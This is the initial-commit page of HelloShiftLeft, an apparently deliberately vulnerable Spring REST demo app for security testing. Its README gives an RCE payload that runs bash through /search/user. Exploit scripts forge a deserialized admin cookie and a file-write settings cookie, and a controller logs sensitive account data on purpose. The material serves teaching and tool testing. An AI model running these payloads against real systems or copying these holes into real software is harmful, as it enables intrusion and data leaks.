Skip to content

Commit c796496

Browse files
tuxologytuxology
committed
Initial commit
0 parents  commit c796496

36 files changed

+1774
-0
lines changed

‎LICENSE‎

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
MIT License
2+
3+
Copyright (c) 2017 ShiftLeft Inc.
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.

‎README.md‎

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
# HelloShiftLeft
2+
3+
This is a demo application which provides a real world representation of a REST service that uses a mix of convention and configuration to simulate a decent set of vulnerabilities exposed in the code. It includes scenarios such as sensitive data leaking to logs, data secrets leaks, authentication bypass, remote code execution, XSS vulnerabilites etc. The sample sensitive data is a mix of financial data such as account information, medical data of patients, and other PII data such as customer information. HelloShiftLeft also contains patterns/anti-patterns of how data is used/abused in interfaces or channels (to and from HTTP/TCP, third-party, database) that can lead to vulnerabilites. The application is built on the Spring Framework and exposes a series of endpoints and APIs for queries and simulating exploits.
4+
5+
## Build
6+
```sh
7+
$ git clone https://github.com/ShiftLeftSecurity/HelloShiftLeft.git
8+
$ cd HelloShiftLeft
9+
$ mvn clean package
10+
```
11+
12+
## Run
13+
```sh
14+
$ java -jar target/hello-shiftleft-0.0.1.jar --jasypt.encryptor.password=shiftbyte5
15+
```
16+
17+
## Exercise Vulnerabilites and Exposures
18+
Once the application starts, vulnerabilites and exposures in it can be tested with API access patterns described below and through example scripts provided in the [exploits](https://github.com/ShiftLeftSecurity/HelloShiftLeft/tree/master/exploits) directory. These are summarized below:
19+
20+
### Sensitive Data Leaks to Log
21+
22+
| URL | Purpose |
23+
| --- | ------- |
24+
| `http://localhost:8081/customers/1` | Returns JSON representation of Customer resource based on Id (1) specified in URL |
25+
| `http://localhost:8081/customers` | Returns JSON representation of all available Customer resources |
26+
| `http://localhost:8081/patients` | Returns JSON representation of all available patients in record |
27+
| `http://localhost:8081/account/1` | Returns JSON representation of Account based on Id (1) specified |
28+
| `http://localhost:8081/account` | Returns JSON representation of all available accounts and their details |
29+
30+
All the above requests leak sensitive medical and PII data to the logging service. In addition other endpoints such as `/saveSettings`, `/search/user`, `/admin/login` etc. are also available. Along with the list above, users can explore variations of `GET`, `POST` and `PUT` requests sent to these endpoints.
31+
32+
### Remote Code Execution
33+
34+
An RCE can be triggered through the `/search/user` endpoint by sending a `POST` request as follows:
35+
```
36+
POST /search/user HTTP/1.1
37+
Host: localhost:8081
38+
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
39+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
40+
Accept-Language: en-US,en;q=0.5
41+
Upgrade-Insecure-Requests: 1
42+
Content-Length: 86
43+
Pragma: no-cache
44+
Cache-Control: no-cache
45+
DNT: 1
46+
Connection: close
47+
48+
new java.lang.ProcessBuilder({'/bin/bash','-c','echo "3vilhax0r">/tmp/hacked'}).start()
49+
```
50+
This creates a file `/tmp/hacked` with the content `3vilhax0r`
51+
52+
### Arbritary File Write
53+
54+
The [filewriteexploit.py](https://github.com/ShiftLeftSecurity/HelloShiftLeft/blob/master/exploits/filewriteexploit.py) script can be executed as follows to trigger the arbritary file writing through the `/saveSettings` endpoint:
55+
```
56+
$ python2 filewriteexploit.py http://localhost:8081/saveSettings testfile 3vilhax0r
57+
```
58+
This creates a file named `testfile` with `3vilhax0r` as its contents
59+
60+
### Authentication Bypass
61+
62+
The [exploit.py](https://github.com/ShiftLeftSecurity/helloshiftleft/blob/master/exploits/JavaSerializationExploit/src/main/java/exploit.py) script allows an authentication bypass by exposing a deserialization vulnerability which allows administrator access:
63+
```
64+
$ python2 exploit.py
65+
```
66+
67+
This returns the following sensitive data:
68+
69+
```
70+
Customer;Month;Volume
71+
Netflix;January;200,000
72+
Palo Alto;January;200,000
73+
```

‎exploits/JavaSerializationExploit/src/main/java/DoSerialize.java‎

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
import io.shiftleft.model.AuthToken;
2+
import java.io.*;
3+
import java.util.Base64;
4+
import java.net.*;
5+
public class DoSerialize {
6+
7+
public static void main(String[] main) throws Exception{
8+
AuthToken authToken = new AuthToken(0);
9+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
10+
ObjectOutputStream out = new ObjectOutputStream(bos);
11+
out.writeObject(authToken);
12+
String finalToken = new String(Base64.getEncoder().encode(bos.toByteArray()));
13+
out.writeObject(authToken);
14+
out.close();
15+
16+
System.out.println(finalToken);
17+
}
18+
}
19+

‎exploits/JavaSerializationExploit/src/main/java/exploit.py‎

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
import requests
2+
from subprocess import Popen, PIPE
3+
4+
def console(cmd):
5+
p = Popen(cmd, shell=True, stdout=PIPE)
6+
out, err = p.communicate()
7+
return (p.returncode, out, err)
8+
9+
10+
console("javac DoSerialize.java")
11+
cookieval = console("java DoSerialize")
12+
cookie = {'auth': cookieval[1].strip()}
13+
r = requests.post('http://localhost:8080/admin/login', cookies=cookie, data=" ",allow_redirects=True)
14+
print r.text

‎exploits/JavaSerializationExploit/src/main/java/io/shiftleft/model/AuthToken.java‎

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
package io.shiftleft.model;
2+
3+
import java.io.ObjectInputStream;
4+
import java.io.Serializable;
5+
6+
import java.io.*;
7+
8+
public class AuthToken implements Serializable {
9+
private static final long serialVersionUID = 1L;
10+
11+
// yes there are only 2 roles so
12+
// having them in this class should be fine
13+
public static int ADMIN = 0;
14+
public static int USER = 1;
15+
16+
private int role;
17+
18+
public AuthToken(int role) {
19+
this.role = role;
20+
}
21+
22+
public boolean isAdmin() {
23+
return this.role == ADMIN;
24+
}
25+
26+
public int getRole() {
27+
if(this.role == ADMIN) {
28+
return ADMIN;
29+
} else {
30+
return USER;
31+
}
32+
}
33+
34+
public void setRole(int role) {
35+
this.role = role;
36+
}
37+
public void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
38+
System.out.println("leeeeeeeeee");
39+
}
40+
}

‎exploits/filewriteexploit.py‎

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
import base64, md5, sys, urllib
2+
import urllib2
3+
4+
if len(sys.argv) != 4:
5+
print "python2 exploit.py url (relative)filepath contentline1,contentline2"
6+
7+
url = sys.argv[1]
8+
filepath = sys.argv[2]
9+
content = sys.argv[3]
10+
11+
payload = base64.b64encode(filepath+","+content)
12+
payloadhex = md5.md5(payload).hexdigest()
13+
14+
print url
15+
opener = urllib2.build_opener()
16+
opener.addheaders.append(('Cookie', 'settings='+payload+","+payloadhex))
17+
f = opener.open(url)
18+
print f.read()

‎pom.xml‎

Lines changed: 121 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,121 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
3+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
4+
<modelVersion>4.0.0</modelVersion>
5+
<groupId>io.shiftleft</groupId>
6+
<artifactId>hello-shiftleft</artifactId>
7+
<version>0.0.1</version>
8+
<parent>
9+
<groupId>org.springframework.boot</groupId>
10+
<artifactId>spring-boot-starter-parent</artifactId>
11+
<version>1.5.1.RELEASE</version>
12+
</parent>
13+
<dependencies>
14+
<dependency>
15+
<groupId>commons-io</groupId>
16+
<artifactId>commons-io</artifactId>
17+
<version>2.5</version>
18+
</dependency>
19+
<dependency>
20+
<groupId>org.apache.httpcomponents</groupId>
21+
<artifactId>httpclient</artifactId>
22+
<version>4.3.4</version>
23+
</dependency>
24+
<dependency>
25+
<groupId>org.zeroturnaround</groupId>
26+
<artifactId>zt-exec</artifactId>
27+
<version>1.9</version>
28+
</dependency>
29+
<dependency>
30+
<groupId>org.jasypt</groupId>
31+
<artifactId>jasypt</artifactId>
32+
<version>1.9.2</version>
33+
</dependency>
34+
<dependency>
35+
<groupId>com.github.ulisesbocchio</groupId>
36+
<artifactId>jasypt-spring-boot-starter</artifactId>
37+
<version>1.11</version>
38+
</dependency>
39+
<dependency>
40+
<groupId>org.springframework.boot</groupId>
41+
<artifactId>spring-boot-starter-web</artifactId>
42+
</dependency>
43+
<dependency>
44+
<groupId>org.springframework.boot</groupId>
45+
<artifactId>spring-boot-starter-actuator</artifactId>
46+
</dependency>
47+
<dependency>
48+
<groupId>org.projectlombok</groupId>
49+
<artifactId>lombok</artifactId>
50+
<version>1.16.6</version>
51+
<scope>provided</scope>
52+
</dependency>
53+
<dependency>
54+
<groupId>joda-time</groupId>
55+
<artifactId>joda-time</artifactId>
56+
</dependency>
57+
<dependency>
58+
<groupId>org.codehaus.jackson</groupId>
59+
<artifactId>jackson-mapper-asl</artifactId>
60+
<version>${jackson.mapper.version}</version>
61+
</dependency>
62+
<dependency>
63+
<groupId>org.springframework.boot</groupId>
64+
<artifactId>spring-boot-starter-data-jpa</artifactId>
65+
</dependency>
66+
<dependency>
67+
<groupId>org.hsqldb</groupId>
68+
<artifactId>hsqldb</artifactId>
69+
<scope>runtime</scope>
70+
</dependency>
71+
<dependency>
72+
<groupId>org.springframework.boot</groupId>
73+
<artifactId>spring-boot-starter-test</artifactId>
74+
<scope>test</scope>
75+
</dependency>
76+
<dependency>
77+
<groupId>org.springframework.boot</groupId>
78+
<artifactId>spring-boot-starter-data-jpa</artifactId>
79+
</dependency>
80+
<dependency>
81+
<groupId>org.springframework</groupId>
82+
<artifactId>spring-web</artifactId>
83+
</dependency>
84+
<dependency>
85+
<groupId>com.fasterxml.jackson.core</groupId>
86+
<artifactId>jackson-databind</artifactId>
87+
</dependency>
88+
</dependencies>
89+
<properties>
90+
<java.version>1.8</java.version>
91+
<jackson.mapper.version>1.5.6</jackson.mapper.version>
92+
</properties>
93+
<build>
94+
<plugins>
95+
<plugin>
96+
<groupId>org.apache.maven.plugins</groupId>
97+
<artifactId>maven-compiler-plugin</artifactId>
98+
<version>3.6.1</version>
99+
<configuration>
100+
<source>1.8</source>
101+
<target>1.8</target>
102+
</configuration>
103+
</plugin>
104+
<plugin>
105+
<groupId>org.springframework.boot</groupId>
106+
<artifactId>spring-boot-maven-plugin</artifactId>
107+
</plugin>
108+
<plugin>
109+
<artifactId>maven-failsafe-plugin</artifactId>
110+
<executions>
111+
<execution>
112+
<goals>
113+
<goal>integration-test</goal>
114+
<goal>verify</goal>
115+
</goals>
116+
</execution>
117+
</executions>
118+
</plugin>
119+
</plugins>
120+
</build>
121+
</project>

‎src/main/java/io/shiftleft/Application.java‎

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
package io.shiftleft;
2+
3+
import org.springframework.boot.SpringApplication;
4+
import org.springframework.boot.autoconfigure.SpringBootApplication;
5+
6+
@SpringBootApplication
7+
public class Application {
8+
9+
public static void main(String[] args) {
10+
SpringApplication.run(Application.class, args);
11+
}
12+
13+
}

‎src/main/java/io/shiftleft/controller/AccountController.java‎

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
package io.shiftleft.controller;
2+
3+
import io.shiftleft.model.Account;
4+
import javax.servlet.http.HttpServletRequest;
5+
import javax.servlet.http.HttpServletResponse;
6+
7+
import io.shiftleft.repository.AccountRepository;
8+
import lombok.extern.slf4j.Slf4j;
9+
import org.springframework.beans.factory.annotation.Autowired;
10+
import org.springframework.web.bind.annotation.*;
11+
12+
13+
/**
14+
* Admin checks login
15+
*/
16+
@Slf4j
17+
@RestController
18+
public class AccountController {
19+
@Autowired
20+
private AccountRepository accountRepository;
21+
22+
@GetMapping("/account")
23+
public Iterable<Account> getAccountList(HttpServletResponse response, HttpServletRequest request) {
24+
response.addHeader("test-header-detection", new Account().toString());
25+
log.info("Account Data is {}", this.accountRepository.findOne(1l).toString());
26+
return this.accountRepository.findAll();
27+
}
28+
29+
@PostMapping("/account")
30+
public Account createAccount(Account account) {
31+
this.accountRepository.save(account);
32+
log.info("Account Data is {}", account.toString());
33+
return account;
34+
}
35+
36+
@GetMapping("/account/{accountId}")
37+
public Account getAccount(@PathVariable long accountId) {
38+
log.info("Account Data is {}", this.accountRepository.findOne(1l).toString());
39+
return this.accountRepository.findOne(accountId);
40+
}
41+
42+
@PostMapping("/account/{accountId}/deposit")
43+
public Account depositIntoAccount(@RequestParam double amount, @PathVariable long accountId) {
44+
Account account = this.accountRepository.findOne(accountId);
45+
log.info("Account Data is {}", account.toString());
46+
account.deposit(amount);
47+
this.accountRepository.save(account);
48+
return account;
49+
}
50+
51+
@PostMapping("/account/{accountId}/withdraw")
52+
public Account withdrawFromAccount(@RequestParam double amount, @PathVariable long accountId) {
53+
Account account = this.accountRepository.findOne(accountId);
54+
account.withdraw(amount);
55+
this.accountRepository.save(account);
56+
log.info("Account Data is {}", account.toString());
57+
return account;
58+
}
59+
60+
@PostMapping("/account/{accountId}/addInterest")
61+
public Account addInterestToAccount(@RequestParam double amount, @PathVariable long accountId) {
62+
Account account = this.accountRepository.findOne(accountId);
63+
account.addInterest();
64+
this.accountRepository.save(account);
65+
log.info("Account Data is {}", account.toString());
66+
return account;
67+
}
68+
69+
}

0 commit comments

Comments
 (0)